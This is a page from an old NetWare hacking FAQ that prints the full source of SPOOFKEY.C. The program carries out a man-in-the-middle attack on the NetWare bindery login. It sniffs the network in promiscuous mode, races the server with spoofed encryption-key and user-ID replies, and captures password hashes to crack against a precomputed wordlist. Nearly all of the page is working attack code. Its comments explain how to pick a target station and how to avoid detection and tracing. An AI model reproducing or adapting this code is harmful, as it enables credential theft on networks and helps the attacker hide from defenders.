Netware Hack FAQ v5

[ Return to TOC | Return to FAQ Page ]

### Appendix Section

    A-02. Source code to SPOOFKEY

Greg's comments are in the source code file...

    /*          SPOOFKEY.C (C) 1996 by Greg Miller (distribute freely)     */

    /*    Here we use a sequence number trick to implement a MITM attack
    on the Netware bindery mode login protocol.  The "trick" allows us
    to implement the attack on a single machine which resides somewhere
    in between the attacking station and the server.
    */

    /*
            This program implements the last step of an attack discovered by
    David Wagner <daw@cs.berkeley.edu>.  Before running this program you will
    need to (1) get a good word list (try ftp://sable.ox.ac.uk/pub/wordlists),
    (2)  convert the wordlist into a hash list (try
    http://grendel.ius.indiana.edu/~gmiller/) and (3) edit the SpoofStation[]
    variable to reflect the station you want to attack.  After running the
    program, the hash will be displayed.  Look up this hash in the hash list
    generated above and you will be able to use the corresponding password
    to log in as the user you spoofed.

            The attack spoofs both the user ID and the random value generated
    by the server when a workstation attempts to log in.  This allows an
    attacker to use a pre-generated hash list to look up possible passwords.
    Here, I have used a "random value" of FFFFFFFFFFFFFFFF and and ID of
    FFFFFFFF.
    */

    /*
    NOTE:  You will have to run this on a pretty fast machine to beat the
    server's responses.  It seems pretty simple, but it's not unless the server
    is carying a pretty heavy load.  I've also run into problems where the
    workstation's requests were lost.  That shows this program could use some
    very heavy optimization.
    */

    /*
    NOTE:  The workstation will attempt two login requests.  One is to login
    without a password, the second is the real login request.  Because of this
    you'll see two hashes printed rather than just one.  The second hash is the
    only one you're interested in.
    */

    /*
    NOTE:  This program will only work on 3.x servers, or on 4.x servers when
    the workstation logs in in bindery mode.
    */

    #include <stdio.h>
    #include <string.h>
    #include <conio.h>

    #define TRUE -1
    #define FALSE 0

    //Offset of the IPX packet type in an 802.3 frame
    #define PACKET_TYPE 19

    //Offset of the NCP function code in an 802.3 frame
    #define FUNCTION_CODE 50

    //Offset of the NCP subfunction code in an 802.3 frame
    #define SUBFUNC_CODE 53

    //Offset of the hashed password in the NCP client
    //request for a login inside an 802.3 frame
    #define KEY_OFFSET 52

    typedef unsigned char BYTE;
    typedef unsigned int WORD;
    typedef unsigned long DWORD;

    int DataRemaining = TRUE;
    int x;

    BYTE packet[2000];
    BYTE SendPacket[2000];

    WORD handle;
    int packet_received = FALSE;
    int NotDone = TRUE;

    /*  Change these varialbles to reflect the station you
        are attacking.  You may also want to alter the spoof
        values for a few reasons:
        1.  It prevents the use of an automated detection
            program to detect this attack.
        2.  It prevents someone else using a packet sniffer from
            using the same pre-generated word list that you're
            using.  This way, if they want the password, they
            have to do the work themselves.
    */
    BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21};
    BYTE SpoofID[4] = {0xff,0xff,0xff,0xff};
    BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};

    int c;
    WORD pktlen;
    WORD Sendpktlen;

    void Initialize(){
    }

    /*In reality, the functions for the packet driver API should be in a
      separate file, but they are included here for ease of distribution.
    */

    static void far PacketReceived(){
            /*This function is called by the packet driver when a packet is
              received.  If AX=0 when the function is called, the packet driver
              is asking for a buffer to put the packet in.  If AX=1 then the
              packet has been copied into the buffer.
            */

            _asm{
                    pop di          //Borland C 3.1 pushes DI for some reason.
                                    //Remove this line if you compiler doesn't.

                    cmp ax,1        //ax=0 for get buffer or 1 when done
                    jz copy_done

                    mov ax,seg packet
                    mov ES,ax
                    lea DI,packet
                    mov cx,2000     //buffer length
                    retf
            }

    copy_done:
            packet_received = TRUE;
            pktlen=_CX;

            _asm{retf}
    end:
    }

    void RegisterWithPKTDRV(){
            /*This function registers the "protocol stack" with the packet
              driver.  We give it the address of the function to call when
              a packet is received in ES:DI, the interface class in AL, and
              the interface type in BX.  DS:SI should point to the type of
              packets to receive, with the length of the type in CX, however,
              we'll just receive any type of packet so we leave DS:SI alone
              and make CX=0.
              We get a handle back from the INT 60h call in AX, we'll store
              it for later use.
            */

            _asm {
                    pusha

                    mov bx,0ffffh  //Wild card for all interfaces
                    mov dl,0
                    mov cx,0    //receive any type of packet
                    mov ax, seg PacketReceived
                    mov es,ax
                    lea di, PacketReceived
                    mov ah,02
                    mov al,01   //class type for 3com 509
                    int 60h
                    jc err

                    mov handle,ax

                    popa
            }

            printf("Registered with packet driver\r\n");
            return;
    err:
            printf("Error registering stack: %d\r\n",_DH);
            _asm{popa}

    }

    void RelinquishProtocolStack(){
            /*  Relinqush control of the interface and unhooks
              the packet received funtion.
          */

            /*Release Type*/
            _asm{   pusha

                    mov ah,3
                    mov bx,handle
                    int 60h
                    jc err
                }

            /*Terminate driver for handle*/
            _asm{
                    mov ah,5
                    mov bx,handle
                    int 60h
                    jc err

                    popa
            }

            printf("Stack Relinqushed\r\n");
            return;
    err:
            printf("Error releasing Stack: %d",_DH);
    }

    void EnterPromiscuousMode(){
            /*This function puts the board in promiscuous mode by putting the
              receive mode in CX and the handle in BX.  Mode 6 is promiscuous.
            This causes the interface to receive all packets on the network.

            The user should note that some network cards send packets out
            on the network to indicate that they are in promiscuous mode.
            When this happens, the real MAC address is put on the network
            for all to see.  This could possibly allow someone to identify
            the attack is occurring, and also where the attack is originating
            from.
            If your card does not implement this feature (most don't), then
            this attack should be carried out undetected.
            */
            _asm{
                    pusha

                    mov ah,14h
                    mov bx,handle
                    mov cx,6
                    int 60h
                    jc err

                    popa
            }

            printf("Promiscuous mode set\r\n");
            return;
    err:
            printf("Error entering promiscuous mode: %d\r\n",_DH);
            _asm{popa}
    }

    void printhex(BYTE d){
     /*Ad Hock mechanism for printing HEX dump.  Yes, there are
       much better ways to do it.
     */
     BYTE temp;
     _asm{
      mov al,d
      shr al,1
      shr al,1
      shr al,1
      shr al,1
      and al,0fh
      add al,90h
      daa
      adc al,40h
      daa
     }
     temp=_AL;
     printf("%c",temp);
     _asm{
      mov al,d
      and al,0fh
      add al,90h
      daa
      adc al,40h
      daa
     }
     temp=_AL;
     printf("%c ",temp);
    }

    void SendPack(){
          /*Puts an ethernet frame on the network.  The premble, etc
            are not included in the data, but the hardware address
            is.  This allows us to spoof our address at the hardware level.

            Although, NetWare doesn't care what the hardware address is,
            implementing the attack in this way allows us to avoid the
            attack to be traced back to a given machine, should the
            attack be detected.
          */

            _asm{   pusha

                    mov ax,seg SendPacket
                    mov ds,ax
                    lea si,SendPacket
                    mov cx,Sendpktlen
                    mov ah,04
                    int 60h

                    jc err

                    popa
            }
            printf("Sending:\r\n");
            for(c=0;c<pktlen;c++){printhex(packet[c]);}
            printf("\r\n");
            return;
    err:
            printf("Error sending packet: %d\r\n",_DH);
            _asm{popa}
    }

    void SendEncryptionKeyReply(){
          /*We've seen the client station request an encryption key from
            the server.  We will spoof our fake encryption key back to the
            client, and hopfully beat the server.  If we do the client
            will ignore the server's reply and use our key.
            To make this happen, we have to use the propper sequence number
            for the reply.  With NCP, sequence numbers are mearly counters
            of the number of packets sent for that connection.  When the
            client sends a request, the reply will use the same sequence
            number as the request did.  Due to the structure of the NCP
            protocol, no acknowledgment of receipt is needed.
            Due to the behaviour of the sequence numbers, both the server
            and the client stay in a sychronized state, which makes the
            attack much, much easier.  If this was TCP, the code here
            would be much different.
          */

            memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
            memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

            //Put 802.3 length here.
            SendPacket[12]=00;
            SendPacket[13]=0x2e;

            memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
            memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
            SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
            SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length
            SendPacket[18]=1;                        //Hop Count
            SendPacket[19]=17;  //Packet type = NCP
            SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
            memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
            SendPacket[50]=0;  //Completion code
            SendPacket[51]=0;  //Connection Status

            memcpy(SendPacket+52,SpoofKey,8);  //Key

            Sendpktlen = 60;
            printf("Spoofing Encryption Key Reply\r\n");
            SendPack();
    }

    void SendIDReply(){
          /*We've seen a request from the client for the UID.  So
            we'll spoof our fake UID in the same manner above.
          */

            memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
            memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

            SendPacket[12]=0;       //802.3 length hi
            SendPacket[13]=0x5c;    //802.3 length lo

            memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
            memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
            SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
            SendPacket[16]=0;SendPacket[17]=0x5c;    //IPX Length
            SendPacket[18]=0;                        //Hop Count
            SendPacket[19]=17;  //Packet type = NCP
            SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
            memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
            SendPacket[50]=0;  //Completion code
            SendPacket[51]=0;  //Connection Status

            memcpy(SendPacket+52,SpoofID,4);  //ID

            SendPacket[56]=packet[54];SendPacket[57]=packet[55];  //Object type
            memset(SendPacket+58,'\000',47);
            memcpy(SendPacket+58,packet+57,packet[56]);           //Object name

            Sendpktlen=105;
            printf("Spoofing ID Reply\r\n");
            SendPack();
    }

    void WaitForPacket(){
     while(!packet_received){
     if (kbhit()) NotDone = FALSE;
     }

    // for(c=0;c<pktlen;c++){printhex(packet[c]);}
    // printf("\r\n");

     packet_received=FALSE;
    }

    void WaitForStationLoginRequest(){
          /*Here is the main program loop, where the attack
            actually occurs.  When the user types in his
            user name, the client attempts to log in with
            a NULL password.  If that login fails, the user
            is prompted for a password.  Because of this, we'll
            have to spoof the key and UID twice to ensure we
            get both requests.  This is the reason for the
            for(){...} block.

            The NetWare login protocol is as follows:
            1.  The client sends a request for a login
                key.  And the server responds by sending
                and eight byte random number back to the
                client.
            2.  The client sends a request for the user's
                user ID.  The server responds by sending the
                requested ID back to the client.
            3.  The client performs some function
                f(UID, key, password) and sends this value to
                the server as a request for a login.  The
                server performs the same calculation, if the
                value received from the client matches the
                value the server computed, the client is
                granted access.

            Since, we've spoofed the UID and the key, the f()
            function will always produce the same values for
            the same password.
            Because of this, we could have pre-generated a
            list of hashes using a database of common words.  The
            generated database would contain a mapping from the
            hash back to the password.  Given the fact that most
            people use a single word for their password, this
            database could be generated in only a few hours on a
            PC.  Then it's only a matter of looking up the
            hash in the database to obtain the password.

            Due to the poor design of the Netware hash function,
            there is likley to be more than one password which
            hashes to the same value.  This does not mean the
            passwords are equivelent.  You must attempt to log in
            which each retreived password individually to determine
            the real one.
          */

     for(x=0;x<2;x++){

            /*Wait for login key request and spoof it*/
            printf("Waiting for key request\r\n");
            while(NotDone){
                    WaitForPacket();
                      if((memcmp(packet+6,SpoofStation,6)==0) &&
                        (packet[PACKET_TYPE]==17) &&
                        (packet[FUNCTION_CODE]==23) &&
                        (packet[SUBFUNC_CODE]==23)){
                         NotDone = FALSE;
                      }
            }
            SendEncryptionKeyReply();

            /*Wait for ID request and spoof it*/
            printf("Waiting for ID request\r\n");
            NotDone = TRUE;
            while(NotDone){
                    WaitForPacket();
                    if(memcmp(packet+6,SpoofStation,6)){
                      if((packet[PACKET_TYPE]==17) &&
                       (packet[FUNCTION_CODE]==23) &&
                       (packet[SUBFUNC_CODE]==53)){
                       NotDone = FALSE;
                      }
                    }
            }
            SendIDReply();

            /*Wait for login request and pull hash out*/
            printf("Waiting for login request\r\n");
            NotDone = TRUE;
            while(NotDone){
                    WaitForPacket();
                    if(memcmp(packet,SpoofStation+6,6) &&
                      (packet[PACKET_TYPE]==17) &&
                      (packet[FUNCTION_CODE]==23) &&
                      (packet[SUBFUNC_CODE]==24)){
                      NotDone = FALSE;
                    }
            }
            printf("Hash Received\r\n");
            for(c=KEY_OFFSET;c<KEY_OFFSET+7;c++){printhex(packet[c]);}
            printf("\r\n");
     }
    }

    void main(){

            Initialize();

            RegisterWithPKTDRV();
            EnterPromiscuousMode();

            WaitForStationLoginRequest();

            RelinquishProtocolStack(); /*Toggles prom mode off*/

    }

[ Return to TOC | Return to FAQ Page ]